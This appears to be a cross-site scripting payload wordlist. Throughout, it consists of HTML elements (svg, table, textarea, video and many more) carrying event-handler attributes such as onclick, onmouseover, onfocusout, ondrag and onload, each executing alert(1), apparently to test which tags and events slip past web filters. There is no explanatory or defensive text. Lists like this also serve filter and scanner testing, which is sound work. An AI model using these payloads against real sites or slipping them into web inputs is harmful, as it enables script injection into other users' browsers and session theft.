<svg id=x tabindex=1 ondeactivate=alert(1)></svg><input id=y autofocus>
<svg onbeforepaste="alert(1)" contenteditable>test</svg>
<svg onblur=alert(1) tabindex=1 id=x></svg><input autofocus>
<svg onclick="alert(1)">test</svg>
<svg oncontextmenu="alert(1)">test</svg>
<svg oncopy="alert(1)" contenteditable>test</svg>
<svg oncut="alert(1)" contenteditable>test</svg>
<svg ondblclick="alert(1)">test</svg>
<svg onfocusout=alert(1) tabindex=1 id=x></svg><input autofocus>
<svg onkeydown="alert(1)" contenteditable>test</svg>
<svg onkeypress="alert(1)" contenteditable>test</svg>
<svg onkeyup="alert(1)" contenteditable>test</svg>
<svg onmousedown="alert(1)">test</svg>
<svg onmouseenter="alert(1)">test</svg>
<svg onmouseleave="alert(1)">test</svg>
<svg onmousemove="alert(1)">test</svg>
<svg onmouseout="alert(1)">test</svg>
<svg onmouseover="alert(1)">test</svg>
<svg onmouseup="alert(1)">test</svg>
<svg onunload=window.open('javascript:alert(1)')>
<svg><a onload=alert(1)></a>
<svg><abbr onload=alert(1)></abbr>
<svg><acronym onload=alert(1)></acronym>
<svg><address onload=alert(1)></address>
<svg><applet onload=alert(1)></applet>
<svg><area onload=alert(1)></area>
<svg><article onload=alert(1)></article>
<svg><aside onload=alert(1)></aside>
<svg><audio onload=alert(1)></audio>
<svg><b onload=alert(1)></b>
<svg><base onload=alert(1)></base>
<svg><basefont onload=alert(1)></basefont>
<svg><bdi onload=alert(1)></bdi>
<svg><bdo onload=alert(1)></bdo>
<svg><bgsound onload=alert(1)></bgsound>
<svg><big onload=alert(1)></big>
<svg><blink onload=alert(1)></blink>
<svg><blockquote onload=alert(1)></blockquote>
<svg><br onload=alert(1)></br>
<svg><button onload=alert(1)></button>
<svg><canvas onload=alert(1)></canvas>
<svg><caption onload=alert(1)></caption>
<svg><center onload=alert(1)></center>
<svg><cite onload=alert(1)></cite>
<svg><code onload=alert(1)></code>
<svg><col onload=alert(1)></col>
<svg><colgroup onload=alert(1)></colgroup>
<svg><command onload=alert(1)></command>
<svg><content onload=alert(1)></content>
<svg><data onload=alert(1)></data>
<svg><datalist onload=alert(1)></datalist>
<svg><dd onload=alert(1)></dd>
<svg><del onload=alert(1)></del>
<svg><details onload=alert(1)></details>
<svg><dfn onload=alert(1)></dfn>
<svg><dialog onload=alert(1)></dialog>
<svg><dir onload=alert(1)></dir>
<svg><discard onbegin=alert(1)>
<svg><div onload=alert(1)></div>
<svg><dl onload=alert(1)></dl>
<svg><dt onload=alert(1)></dt>
<svg><element onload=alert(1)></element>
<svg><em onload=alert(1)></em>
<svg><fieldset onload=alert(1)></fieldset>
<svg><figcaption onload=alert(1)></figcaption>
<svg><figure onload=alert(1)></figure>
<svg><font onload=alert(1)></font>
<svg><footer onload=alert(1)></footer>
<svg><form onload=alert(1)></form>
<svg><frameset onload=alert(1)></frameset>
<svg><h1 onload=alert(1)></h1>
<svg><head onload=alert(1)></head>
<svg><header onload=alert(1)></header>
<svg><hgroup onload=alert(1)></hgroup>
<svg><hr onload=alert(1)></hr>
<svg><html onload=alert(1)></html>
<svg><i onload=alert(1)></i>
<svg><ins onload=alert(1)></ins>
<svg><kbd onload=alert(1)></kbd>
<svg><keygen onload=alert(1)></keygen>
<svg><label onload=alert(1)></label>
<svg><legend onload=alert(1)></legend>
<svg><li onload=alert(1)></li>
<svg><listing onload=alert(1)></listing>
<svg><main onload=alert(1)></main>
<svg><map onload=alert(1)></map>
<svg><mark onload=alert(1)></mark>
<svg><marquee onload=alert(1)></marquee>
<svg><menu onload=alert(1)></menu>
<svg><menuitem onload=alert(1)></menuitem>
<svg><meta onload=alert(1)></meta>
<svg><meter onload=alert(1)></meter>
<svg><multicol onload=alert(1)></multicol>
<svg><nav onload=alert(1)></nav>
<svg><nextid onload=alert(1)></nextid>
<svg><nobr onload=alert(1)></nobr>
<svg><noembed onload=alert(1)></noembed>
<svg><noframes onload=alert(1)></noframes>
<svg><noscript onload=alert(1)></noscript>
<svg><ol onload=alert(1)></ol>
<svg><optgroup onload=alert(1)></optgroup>
<svg><option onload=alert(1)></option>
<svg><output onload=alert(1)></output>
<svg><p onload=alert(1)></p>
<svg><param onload=alert(1)></param>
<svg><picture onload=alert(1)></picture>
<svg><plaintext onload=alert(1)></plaintext>
<svg><pre onload=alert(1)></pre>
<svg><progress onload=alert(1)></progress>
<svg><q onload=alert(1)></q>
<svg><rb onload=alert(1)></rb>
<svg><rp onload=alert(1)></rp>
<svg><rt onload=alert(1)></rt>
<svg><rtc onload=alert(1)></rtc>
<svg><ruby onload=alert(1)></ruby>
<svg><s onload=alert(1)></s>
<svg><samp onload=alert(1)></samp>
<svg><section onload=alert(1)></section>
<svg><select onload=alert(1)></select>
<svg><shadow onload=alert(1)></shadow>
<svg><slot onload=alert(1)></slot>
<svg><small onload=alert(1)></small>
<svg><source onload=alert(1)></source>
<svg><spacer onload=alert(1)></spacer>
<svg><span onload=alert(1)></span>
<svg><strike onload=alert(1)></strike>
<svg><strong onload=alert(1)></strong>
<svg><sub onload=alert(1)></sub>
<svg><summary onload=alert(1)></summary>
<svg><sup onload=alert(1)></sup>
<svg><table onload=alert(1)></table>
<svg><tbody onload=alert(1)></tbody>
<svg><td onload=alert(1)></td>
<svg><template onload=alert(1)></template>
<svg><textarea onload=alert(1)></textarea>
<svg><tfoot onload=alert(1)></tfoot>
<svg><th onload=alert(1)></th>
<svg><thead onload=alert(1)></thead>
<svg><time onload=alert(1)></time>
<svg><title onload=alert(1)></title>
<svg><tr onload=alert(1)></tr>
<svg><tt onload=alert(1)></tt>
<svg><u onload=alert(1)></u>
<svg><ul onload=alert(1)></ul>
<svg><var onload=alert(1)></var>
<svg><video onload=alert(1)></video>
<svg><wbr onload=alert(1)></wbr>
<svg><xmp onload=alert(1)></xmp>
<svg><xss onload=alert(1)></xss>
<table draggable="true" ondrag="alert(1)">test</table>
<table draggable="true" ondragend="alert(1)">test</table>
<table draggable="true" ondragenter="alert(1)">test</table>
<table draggable="true" ondragleave="alert(1)">test</table>
<table draggable="true" ondragstart="alert(1)">test</table>
<table id=x tabindex=1 onactivate=alert(1)></table>
<table id=x tabindex=1 onbeforeactivate=alert(1)></table>
<table id=x tabindex=1 onbeforedeactivate=alert(1)></table><input autofocus>
<table id=x tabindex=1 ondeactivate=alert(1)></table><input id=y autofocus>
<table onbeforepaste="alert(1)" contenteditable>test</table>
<table onblur=alert(1) tabindex=1 id=x></table><input autofocus>
<table onclick="alert(1)">test</table>
<table oncontextmenu="alert(1)">test</table>
<table oncopy="alert(1)" contenteditable>test</table>
<table oncut="alert(1)" contenteditable>test</table>
<table ondblclick="alert(1)">test</table>
<table onfocusout=alert(1) tabindex=1 id=x></table><input autofocus>
<table onkeydown="alert(1)" contenteditable>test</table>
<table onkeypress="alert(1)" contenteditable>test</table>
<table onkeyup="alert(1)" contenteditable>test</table>
<table onmousedown="alert(1)">test</table>
<table onmouseenter="alert(1)">test</table>
<table onmouseleave="alert(1)">test</table>
<table onmousemove="alert(1)">test</table>
<table onmouseout="alert(1)">test</table>
<table onmouseover="alert(1)">test</table>
<table onmouseup="alert(1)">test</table>
<tbody draggable="true" ondrag="alert(1)">test</tbody>
<tbody draggable="true" ondragend="alert(1)">test</tbody>
<tbody draggable="true" ondragenter="alert(1)">test</tbody>
<tbody draggable="true" ondragleave="alert(1)">test</tbody>
<tbody draggable="true" ondragstart="alert(1)">test</tbody>
<tbody id=x tabindex=1 onactivate=alert(1)></tbody>
<tbody id=x tabindex=1 onbeforeactivate=alert(1)></tbody>
<tbody id=x tabindex=1 onbeforedeactivate=alert(1)></tbody><input autofocus>
<tbody id=x tabindex=1 ondeactivate=alert(1)></tbody><input id=y autofocus>
<tbody onbeforepaste="alert(1)" contenteditable>test</tbody>
<tbody onblur=alert(1) tabindex=1 id=x></tbody><input autofocus>
<tbody onclick="alert(1)">test</tbody>
<tbody oncontextmenu="alert(1)">test</tbody>
<tbody oncopy="alert(1)" contenteditable>test</tbody>
<tbody oncut="alert(1)" contenteditable>test</tbody>
<tbody ondblclick="alert(1)">test</tbody>
<tbody onfocusout=alert(1) tabindex=1 id=x></tbody><input autofocus>
<tbody onkeydown="alert(1)" contenteditable>test</tbody>
<tbody onkeypress="alert(1)" contenteditable>test</tbody>
<tbody onkeyup="alert(1)" contenteditable>test</tbody>
<tbody onmousedown="alert(1)">test</tbody>
<tbody onmouseenter="alert(1)">test</tbody>
<tbody onmouseleave="alert(1)">test</tbody>
<tbody onmousemove="alert(1)">test</tbody>
<tbody onmouseout="alert(1)">test</tbody>
<tbody onmouseover="alert(1)">test</tbody>
<tbody onmouseup="alert(1)">test</tbody>
<td draggable="true" ondrag="alert(1)">test</td>
<td draggable="true" ondragend="alert(1)">test</td>
<td draggable="true" ondragenter="alert(1)">test</td>
<td draggable="true" ondragleave="alert(1)">test</td>
<td draggable="true" ondragstart="alert(1)">test</td>
<td id=x tabindex=1 onactivate=alert(1)></td>
<td id=x tabindex=1 onbeforeactivate=alert(1)></td>
<td id=x tabindex=1 onbeforedeactivate=alert(1)></td><input autofocus>
<td id=x tabindex=1 ondeactivate=alert(1)></td><input id=y autofocus>
<td onbeforepaste="alert(1)" contenteditable>test</td>
<td onblur=alert(1) tabindex=1 id=x></td><input autofocus>
<td onclick="alert(1)">test</td>
<td oncontextmenu="alert(1)">test</td>
<td oncopy="alert(1)" contenteditable>test</td>
<td oncut="alert(1)" contenteditable>test</td>
<td ondblclick="alert(1)">test</td>
<td onfocusout=alert(1) tabindex=1 id=x></td><input autofocus>
<td onkeydown="alert(1)" contenteditable>test</td>
<td onkeypress="alert(1)" contenteditable>test</td>
<td onkeyup="alert(1)" contenteditable>test</td>
<td onmousedown="alert(1)">test</td>
<td onmouseenter="alert(1)">test</td>
<td onmouseleave="alert(1)">test</td>
<td onmousemove="alert(1)">test</td>
<td onmouseout="alert(1)">test</td>
<td onmouseover="alert(1)">test</td>
<td onmouseup="alert(1)">test</td>
<template draggable="true" ondrag="alert(1)">test</template>
<template draggable="true" ondragend="alert(1)">test</template>
<template draggable="true" ondragenter="alert(1)">test</template>
<template draggable="true" ondragleave="alert(1)">test</template>
<template draggable="true" ondragstart="alert(1)">test</template>
<template id=x tabindex=1 onactivate=alert(1)></template>
<template id=x tabindex=1 onbeforeactivate=alert(1)></template>
<template id=x tabindex=1 onbeforedeactivate=alert(1)></template><input autofocus>
<template id=x tabindex=1 ondeactivate=alert(1)></template><input id=y autofocus>
<template onbeforepaste="alert(1)" contenteditable>test</template>
<template onblur=alert(1) tabindex=1 id=x></template><input autofocus>
<template onclick="alert(1)">test</template>
<template oncontextmenu="alert(1)">test</template>
<template oncopy="alert(1)" contenteditable>test</template>
<template oncut="alert(1)" contenteditable>test</template>
<template ondblclick="alert(1)">test</template>
<template onfocusout=alert(1) tabindex=1 id=x></template><input autofocus>
<template onkeydown="alert(1)" contenteditable>test</template>
<template onkeypress="alert(1)" contenteditable>test</template>
<template onkeyup="alert(1)" contenteditable>test</template>
<template onmousedown="alert(1)">test</template>
<template onmouseenter="alert(1)">test</template>
<template onmouseleave="alert(1)">test</template>
<template onmousemove="alert(1)">test</template>
<template onmouseout="alert(1)">test</template>
<template onmouseover="alert(1)">test</template>
<template onmouseup="alert(1)">test</template>
<textarea draggable="true" ondrag="alert(1)">test</textarea>
<textarea draggable="true" ondragend="alert(1)">test</textarea>
<textarea draggable="true" ondragenter="alert(1)">test</textarea>
<textarea draggable="true" ondragleave="alert(1)">test</textarea>
<textarea draggable="true" ondragstart="alert(1)">test</textarea>
<textarea id=x tabindex=1 onactivate=alert(1)></textarea>
<textarea id=x tabindex=1 onbeforeactivate=alert(1)></textarea>
<textarea id=x tabindex=1 onbeforedeactivate=alert(1)></textarea><input autofocus>
<textarea id=x tabindex=1 ondeactivate=alert(1)></textarea><input id=y autofocus>
<textarea onbeforepaste=alert(1) autofocus></textarea>
<textarea onblur=alert(1) id=x></textarea><input autofocus>
<textarea onclick="alert(1)">test</textarea>
<textarea oncontextmenu="alert(1)">test</textarea>
<textarea oncopy=alert(1) autofocus>XSS</textarea>
<textarea oncut=alert(1) autofocus>XSS</textarea>
<textarea ondblclick="alert(1)">test</textarea>
<textarea onfocusout=alert(1) id=x></textarea><input autofocus>
<textarea onkeydown="alert(1)" contenteditable>test</textarea>
<textarea onkeypress="alert(1)" contenteditable>test</textarea>
<textarea onkeyup="alert(1)" contenteditable>test</textarea>
<textarea onmousedown="alert(1)">test</textarea>
<textarea onmouseenter="alert(1)">test</textarea>
<textarea onmouseleave="alert(1)">test</textarea>
<textarea onmousemove="alert(1)">test</textarea>
<textarea onmouseout="alert(1)">test</textarea>
<textarea onmouseover="alert(1)">test</textarea>
<textarea onmouseup="alert(1)">test</textarea>
<tfoot draggable="true" ondrag="alert(1)">test</tfoot>
<tfoot draggable="true" ondragend="alert(1)">test</tfoot>
<tfoot draggable="true" ondragenter="alert(1)">test</tfoot>
<tfoot draggable="true" ondragleave="alert(1)">test</tfoot>
<tfoot draggable="true" ondragstart="alert(1)">test</tfoot>
<tfoot id=x tabindex=1 onactivate=alert(1)></tfoot>
<tfoot id=x tabindex=1 onbeforeactivate=alert(1)></tfoot>
<tfoot id=x tabindex=1 onbeforedeactivate=alert(1)></tfoot><input autofocus>
<tfoot id=x tabindex=1 ondeactivate=alert(1)></tfoot><input id=y autofocus>
<tfoot onbeforepaste="alert(1)" contenteditable>test</tfoot>
<tfoot onblur=alert(1) tabindex=1 id=x></tfoot><input autofocus>
<tfoot onclick="alert(1)">test</tfoot>
<tfoot oncontextmenu="alert(1)">test</tfoot>
<tfoot oncopy="alert(1)" contenteditable>test</tfoot>
<tfoot oncut="alert(1)" contenteditable>test</tfoot>
<tfoot ondblclick="alert(1)">test</tfoot>
<tfoot onfocusout=alert(1) tabindex=1 id=x></tfoot><input autofocus>
<tfoot onkeydown="alert(1)" contenteditable>test</tfoot>
<tfoot onkeypress="alert(1)" contenteditable>test</tfoot>
<tfoot onkeyup="alert(1)" contenteditable>test</tfoot>
<tfoot onmousedown="alert(1)">test</tfoot>
<tfoot onmouseenter="alert(1)">test</tfoot>
<tfoot onmouseleave="alert(1)">test</tfoot>
<tfoot onmousemove="alert(1)">test</tfoot>
<tfoot onmouseout="alert(1)">test</tfoot>
<tfoot onmouseover="alert(1)">test</tfoot>
<tfoot onmouseup="alert(1)">test</tfoot>
<th draggable="true" ondrag="alert(1)">test</th>
<th draggable="true" ondragend="alert(1)">test</th>
<th draggable="true" ondragenter="alert(1)">test</th>
<th draggable="true" ondragleave="alert(1)">test</th>
<th draggable="true" ondragstart="alert(1)">test</th>
<th id=x tabindex=1 onactivate=alert(1)></th>
<th id=x tabindex=1 onbeforeactivate=alert(1)></th>
<th id=x tabindex=1 onbeforedeactivate=alert(1)></th><input autofocus>
<th id=x tabindex=1 ondeactivate=alert(1)></th><input id=y autofocus>
<th onbeforepaste="alert(1)" contenteditable>test</th>
<th onblur=alert(1) tabindex=1 id=x></th><input autofocus>
<th onclick="alert(1)">test</th>
<th oncontextmenu="alert(1)">test</th>
<th oncopy="alert(1)" contenteditable>test</th>
<th oncut="alert(1)" contenteditable>test</th>
<th ondblclick="alert(1)">test</th>
<th onfocusout=alert(1) tabindex=1 id=x></th><input autofocus>
<th onkeydown="alert(1)" contenteditable>test</th>
<th onkeypress="alert(1)" contenteditable>test</th>
<th onkeyup="alert(1)" contenteditable>test</th>
<th onmousedown="alert(1)">test</th>
<th onmouseenter="alert(1)">test</th>
<th onmouseleave="alert(1)">test</th>
<th onmousemove="alert(1)">test</th>
<th onmouseout="alert(1)">test</th>
<th onmouseover="alert(1)">test</th>
<th onmouseup="alert(1)">test</th>
<thead draggable="true" ondrag="alert(1)">test</thead>
<thead draggable="true" ondragend="alert(1)">test</thead>
<thead draggable="true" ondragenter="alert(1)">test</thead>
<thead draggable="true" ondragleave="alert(1)">test</thead>
<thead draggable="true" ondragstart="alert(1)">test</thead>
<thead id=x tabindex=1 onactivate=alert(1)></thead>
<thead id=x tabindex=1 onbeforeactivate=alert(1)></thead>
<thead id=x tabindex=1 onbeforedeactivate=alert(1)></thead><input autofocus>
<thead id=x tabindex=1 ondeactivate=alert(1)></thead><input id=y autofocus>
<thead onbeforepaste="alert(1)" contenteditable>test</thead>
<thead onblur=alert(1) tabindex=1 id=x></thead><input autofocus>
<thead onclick="alert(1)">test</thead>
<thead oncontextmenu="alert(1)">test</thead>
<thead oncopy="alert(1)" contenteditable>test</thead>
<thead oncut="alert(1)" contenteditable>test</thead>
<thead ondblclick="alert(1)">test</thead>
<thead onfocusout=alert(1) tabindex=1 id=x></thead><input autofocus>
<thead onkeydown="alert(1)" contenteditable>test</thead>
<thead onkeypress="alert(1)" contenteditable>test</thead>
<thead onkeyup="alert(1)" contenteditable>test</thead>
<thead onmousedown="alert(1)">test</thead>
<thead onmouseenter="alert(1)">test</thead>
<thead onmouseleave="alert(1)">test</thead>
<thead onmousemove="alert(1)">test</thead>
<thead onmouseout="alert(1)">test</thead>
<thead onmouseover="alert(1)">test</thead>
<thead onmouseup="alert(1)">test</thead>
<time draggable="true" ondrag="alert(1)">test</time>
<time draggable="true" ondragend="alert(1)">test</time>
<time draggable="true" ondragenter="alert(1)">test</time>
<time draggable="true" ondragleave="alert(1)">test</time>
<time draggable="true" ondragstart="alert(1)">test</time>
<time id=x tabindex=1 onactivate=alert(1)></time>
<time id=x tabindex=1 onbeforeactivate=alert(1)></time>
<time id=x tabindex=1 onbeforedeactivate=alert(1)></time><input autofocus>
<time id=x tabindex=1 ondeactivate=alert(1)></time><input id=y autofocus>
<time onbeforepaste="alert(1)" contenteditable>test</time>
<time onblur=alert(1) tabindex=1 id=x></time><input autofocus>
<time onclick="alert(1)">test</time>
<time oncontextmenu="alert(1)">test</time>
<time oncopy="alert(1)" contenteditable>test</time>
<time oncut="alert(1)" contenteditable>test</time>
<time ondblclick="alert(1)">test</time>
<time onfocusout=alert(1) tabindex=1 id=x></time><input autofocus>
<time onkeydown="alert(1)" contenteditable>test</time>
<time onkeypress="alert(1)" contenteditable>test</time>
<time onkeyup="alert(1)" contenteditable>test</time>
<time onmousedown="alert(1)">test</time>
<time onmouseenter="alert(1)">test</time>
<time onmouseleave="alert(1)">test</time>
<time onmousemove="alert(1)">test</time>
<time onmouseout="alert(1)">test</time>
<time onmouseover="alert(1)">test</time>
<time onmouseup="alert(1)">test</time>
<title draggable="true" ondrag="alert(1)">test</title>
<title draggable="true" ondragend="alert(1)">test</title>
<title draggable="true" ondragenter="alert(1)">test</title>
<title draggable="true" ondragleave="alert(1)">test</title>
<title draggable="true" ondragstart="alert(1)">test</title>
<title id=x tabindex=1 onactivate=alert(1)></title>
<title id=x tabindex=1 onbeforeactivate=alert(1)></title>
<title id=x tabindex=1 onbeforedeactivate=alert(1)></title><input autofocus>
<title id=x tabindex=1 ondeactivate=alert(1)></title><input id=y autofocus>
<title onbeforepaste="alert(1)" contenteditable>test</title>
<title onblur=alert(1) tabindex=1 id=x></title><input autofocus>
<title onclick="alert(1)">test</title>
<title oncontextmenu="alert(1)">test</title>
<title oncopy="alert(1)" contenteditable>test</title>
<title oncut="alert(1)" contenteditable>test</title>
<title ondblclick="alert(1)">test</title>
<title onfocusout=alert(1) tabindex=1 id=x></title><input autofocus>
<title onkeydown="alert(1)" contenteditable>test</title>
<title onkeypress="alert(1)" contenteditable>test</title>
<title onkeyup="alert(1)" contenteditable>test</title>
<title onmousedown="alert(1)">test</title>
<title onmouseenter="alert(1)">test</title>
<title onmouseleave="alert(1)">test</title>
<title onmousemove="alert(1)">test</title>
<title onmouseout="alert(1)">test</title>
<title onmouseover="alert(1)">test</title>
<title onmouseup="alert(1)">test</title>
<tr draggable="true" ondrag="alert(1)">test</tr>
<tr draggable="true" ondragend="alert(1)">test</tr>
<tr draggable="true" ondragenter="alert(1)">test</tr>
<tr draggable="true" ondragleave="alert(1)">test</tr>
<tr draggable="true" ondragstart="alert(1)">test</tr>
<tr id=x tabindex=1 onactivate=alert(1)></tr>
<tr id=x tabindex=1 onbeforeactivate=alert(1)></tr>
<tr id=x tabindex=1 onbeforedeactivate=alert(1)></tr><input autofocus>
<tr id=x tabindex=1 ondeactivate=alert(1)></tr><input id=y autofocus>
<tr onbeforepaste="alert(1)" contenteditable>test</tr>
<tr onblur=alert(1) tabindex=1 id=x></tr><input autofocus>
<tr onclick="alert(1)">test</tr>
<tr oncontextmenu="alert(1)">test</tr>
<tr oncopy="alert(1)" contenteditable>test</tr>
<tr oncut="alert(1)" contenteditable>test</tr>
<tr ondblclick="alert(1)">test</tr>
<tr onfocusout=alert(1) tabindex=1 id=x></tr><input autofocus>
<tr onkeydown="alert(1)" contenteditable>test</tr>
<tr onkeypress="alert(1)" contenteditable>test</tr>
<tr onkeyup="alert(1)" contenteditable>test</tr>
<tr onmousedown="alert(1)">test</tr>
<tr onmouseenter="alert(1)">test</tr>
<tr onmouseleave="alert(1)">test</tr>
<tr onmousemove="alert(1)">test</tr>
<tr onmouseout="alert(1)">test</tr>
<tr onmouseover="alert(1)">test</tr>
<tr onmouseup="alert(1)">test</tr>
<track draggable="true" ondrag="alert(1)">test</track>
<track draggable="true" ondragend="alert(1)">test</track>
<track draggable="true" ondragenter="alert(1)">test</track>
<track draggable="true" ondragleave="alert(1)">test</track>
<track draggable="true" ondragstart="alert(1)">test</track>
<track id=x tabindex=1 onactivate=alert(1)></track>
<track id=x tabindex=1 onbeforeactivate=alert(1)></track>
<track id=x tabindex=1 onbeforedeactivate=alert(1)></track><input autofocus>
<track id=x tabindex=1 ondeactivate=alert(1)></track><input id=y autofocus>
<track onbeforepaste="alert(1)" contenteditable>test</track>
<track onblur=alert(1) tabindex=1 id=x></track><input autofocus>
<track onclick="alert(1)">test</track>
<track oncontextmenu="alert(1)">test</track>
<track oncopy="alert(1)" contenteditable>test</track>
<track oncut="alert(1)" contenteditable>test</track>
<track ondblclick="alert(1)">test</track>
<track onfocusout=alert(1) tabindex=1 id=x></track><input autofocus>
<track onkeydown="alert(1)" contenteditable>test</track>
<track onkeypress="alert(1)" contenteditable>test</track>
<track onkeyup="alert(1)" contenteditable>test</track>
<track onmousedown="alert(1)">test</track>
<track onmouseenter="alert(1)">test</track>
<track onmouseleave="alert(1)">test</track>
<track onmousemove="alert(1)">test</track>
<track onmouseout="alert(1)">test</track>
<track onmouseover="alert(1)">test</track>
<track onmouseup="alert(1)">test</track>
<tt draggable="true" ondrag="alert(1)">test</tt>
<tt draggable="true" ondragend="alert(1)">test</tt>
<tt draggable="true" ondragenter="alert(1)">test</tt>
<tt draggable="true" ondragleave="alert(1)">test</tt>
<tt draggable="true" ondragstart="alert(1)">test</tt>
<tt id=x tabindex=1 onactivate=alert(1)></tt>
<tt id=x tabindex=1 onbeforeactivate=alert(1)></tt>
<tt id=x tabindex=1 onbeforedeactivate=alert(1)></tt><input autofocus>
<tt id=x tabindex=1 ondeactivate=alert(1)></tt><input id=y autofocus>
<tt onbeforepaste="alert(1)" contenteditable>test</tt>
<tt onblur=alert(1) tabindex=1 id=x></tt><input autofocus>
<tt onclick="alert(1)">test</tt>
<tt oncontextmenu="alert(1)">test</tt>
<tt oncopy="alert(1)" contenteditable>test</tt>
<tt oncut="alert(1)" contenteditable>test</tt>
<tt ondblclick="alert(1)">test</tt>
<tt onfocusout=alert(1) tabindex=1 id=x></tt><input autofocus>
<tt onkeydown="alert(1)" contenteditable>test</tt>
<tt onkeypress="alert(1)" contenteditable>test</tt>
<tt onkeyup="alert(1)" contenteditable>test</tt>
<tt onmousedown="alert(1)">test</tt>
<tt onmouseenter="alert(1)">test</tt>
<tt onmouseleave="alert(1)">test</tt>
<tt onmousemove="alert(1)">test</tt>
<tt onmouseout="alert(1)">test</tt>
<tt onmouseover="alert(1)">test</tt>
<tt onmouseup="alert(1)">test</tt>
<u draggable="true" ondrag="alert(1)">test</u>
<u draggable="true" ondragend="alert(1)">test</u>
<u draggable="true" ondragenter="alert(1)">test</u>
<u draggable="true" ondragleave="alert(1)">test</u>
<u draggable="true" ondragstart="alert(1)">test</u>
<u id=x tabindex=1 onactivate=alert(1)></u>
<u id=x tabindex=1 onbeforeactivate=alert(1)></u>
<u id=x tabindex=1 onbeforedeactivate=alert(1)></u><input autofocus>
<u id=x tabindex=1 ondeactivate=alert(1)></u><input id=y autofocus>
<u onbeforepaste="alert(1)" contenteditable>test</u>
<u onblur=alert(1) tabindex=1 id=x></u><input autofocus>
<u onclick="alert(1)">test</u>
<u oncontextmenu="alert(1)">test</u>
<u oncopy="alert(1)" contenteditable>test</u>
<u oncut="alert(1)" contenteditable>test</u>
<u ondblclick="alert(1)">test</u>
<u onfocusout=alert(1) tabindex=1 id=x></u><input autofocus>
<u onkeydown="alert(1)" contenteditable>test</u>
<u onkeypress="alert(1)" contenteditable>test</u>
<u onkeyup="alert(1)" contenteditable>test</u>
<u onmousedown="alert(1)">test</u>
<u onmouseenter="alert(1)">test</u>
<u onmouseleave="alert(1)">test</u>
<u onmousemove="alert(1)">test</u>
<u onmouseout="alert(1)">test</u>
<u onmouseover="alert(1)">test</u>
<u onmouseup="alert(1)">test</u>
<ul draggable="true" ondrag="alert(1)">test</ul>
<ul draggable="true" ondragend="alert(1)">test</ul>
<ul draggable="true" ondragenter="alert(1)">test</ul>
<ul draggable="true" ondragleave="alert(1)">test</ul>
<ul draggable="true" ondragstart="alert(1)">test</ul>
<ul id=x tabindex=1 onactivate=alert(1)></ul>
<ul id=x tabindex=1 onbeforeactivate=alert(1)></ul>
<ul id=x tabindex=1 onbeforedeactivate=alert(1)></ul><input autofocus>
<ul id=x tabindex=1 ondeactivate=alert(1)></ul><input id=y autofocus>
<ul onbeforepaste="alert(1)" contenteditable>test</ul>
<ul onblur=alert(1) tabindex=1 id=x></ul><input autofocus>
<ul onclick="alert(1)">test</ul>
<ul oncontextmenu="alert(1)">test</ul>
<ul oncopy="alert(1)" contenteditable>test</ul>
<ul oncut="alert(1)" contenteditable>test</ul>
<ul ondblclick="alert(1)">test</ul>
<ul onfocusout=alert(1) tabindex=1 id=x></ul><input autofocus>
<ul onkeydown="alert(1)" contenteditable>test</ul>
<ul onkeypress="alert(1)" contenteditable>test</ul>
<ul onkeyup="alert(1)" contenteditable>test</ul>
<ul onmousedown="alert(1)">test</ul>
<ul onmouseenter="alert(1)">test</ul>
<ul onmouseleave="alert(1)">test</ul>
<ul onmousemove="alert(1)">test</ul>
<ul onmouseout="alert(1)">test</ul>
<ul onmouseover="alert(1)">test</ul>
<ul onmouseup="alert(1)">test</ul>
<var draggable="true" ondrag="alert(1)">test</var>
<var draggable="true" ondragend="alert(1)">test</var>
<var draggable="true" ondragenter="alert(1)">test</var>
<var draggable="true" ondragleave="alert(1)">test</var>
<var draggable="true" ondragstart="alert(1)">test</var>
<var id=x tabindex=1 onactivate=alert(1)></var>
<var id=x tabindex=1 onbeforeactivate=alert(1)></var>
<var id=x tabindex=1 onbeforedeactivate=alert(1)></var><input autofocus>
<var id=x tabindex=1 ondeactivate=alert(1)></var><input id=y autofocus>
<var onbeforepaste="alert(1)" contenteditable>test</var>
<var onblur=alert(1) tabindex=1 id=x></var><input autofocus>
<var onclick="alert(1)">test</var>
<var oncontextmenu="alert(1)">test</var>
<var oncopy="alert(1)" contenteditable>test</var>
<var oncut="alert(1)" contenteditable>test</var>
<var ondblclick="alert(1)">test</var>
<var onfocusout=alert(1) tabindex=1 id=x></var><input autofocus>
<var onkeydown="alert(1)" contenteditable>test</var>
<var onkeypress="alert(1)" contenteditable>test</var>
<var onkeyup="alert(1)" contenteditable>test</var>
<var onmousedown="alert(1)">test</var>
<var onmouseenter="alert(1)">test</var>
<var onmouseleave="alert(1)">test</var>
<var onmousemove="alert(1)">test</var>
<var onmouseout="alert(1)">test</var>
<var onmouseover="alert(1)">test</var>
<var onmouseup="alert(1)">test</var>
<video autoplay controls onwaiting=alert(1)><source src="validvideo.mp4" type=video/mp4></video>
<video draggable="true" ondrag="alert(1)">test</video>
<video draggable="true" ondragend="alert(1)">test</video>
<video draggable="true" ondragenter="alert(1)">test</video>
<video draggable="true" ondragleave="alert(1)">test</video>
<video draggable="true" ondragstart="alert(1)">test</video>
<video id=x tabindex=1 onactivate=alert(1)></video>
<video id=x tabindex=1 onbeforeactivate=alert(1)></video>
<video id=x tabindex=1 onbeforedeactivate=alert(1)></video><input autofocus>
<video id=x tabindex=1 ondeactivate=alert(1)></video><input id=y autofocus>
<video onbeforepaste="alert(1)" contenteditable>test</video>
<video onblur=alert(1) tabindex=1 id=x></video><input autofocus>
<video onclick="alert(1)">test</video>
<video oncontextmenu="alert(1)">test</video>
<video oncopy="alert(1)" contenteditable>test</video>
<video oncut="alert(1)" contenteditable>test</video>
<video ondblclick="alert(1)">test</video>
<video onfocusout=alert(1) tabindex=1 id=x></video><input autofocus>
<video onkeydown="alert(1)" contenteditable>test</video>
<video onkeypress="alert(1)" contenteditable>test</video>
<video onkeyup="alert(1)" contenteditable>test</video>
<video onmousedown="alert(1)">test</video>
<video onmouseenter="alert(1)">test</video>
<video onmouseleave="alert(1)">test</video>
<video onmousemove="alert(1)">test</video>
<video onmouseout="alert(1)">test</video>
<video onmouseover="alert(1)">test</video>
<video onmouseup="alert(1)">test</video>
<wbr draggable="true" ondrag="alert(1)">test</wbr>
<wbr draggable="true" ondragend="alert(1)">test</wbr>
<wbr draggable="true" ondragenter="alert(1)">test</wbr>
<wbr draggable="true" ondragleave="alert(1)">test</wbr>
<wbr draggable="true" ondragstart="alert(1)">test</wbr>
<wbr id=x tabindex=1 onactivate=alert(1)></wbr>
<wbr id=x tabindex=1 onbeforeactivate=alert(1)></wbr>
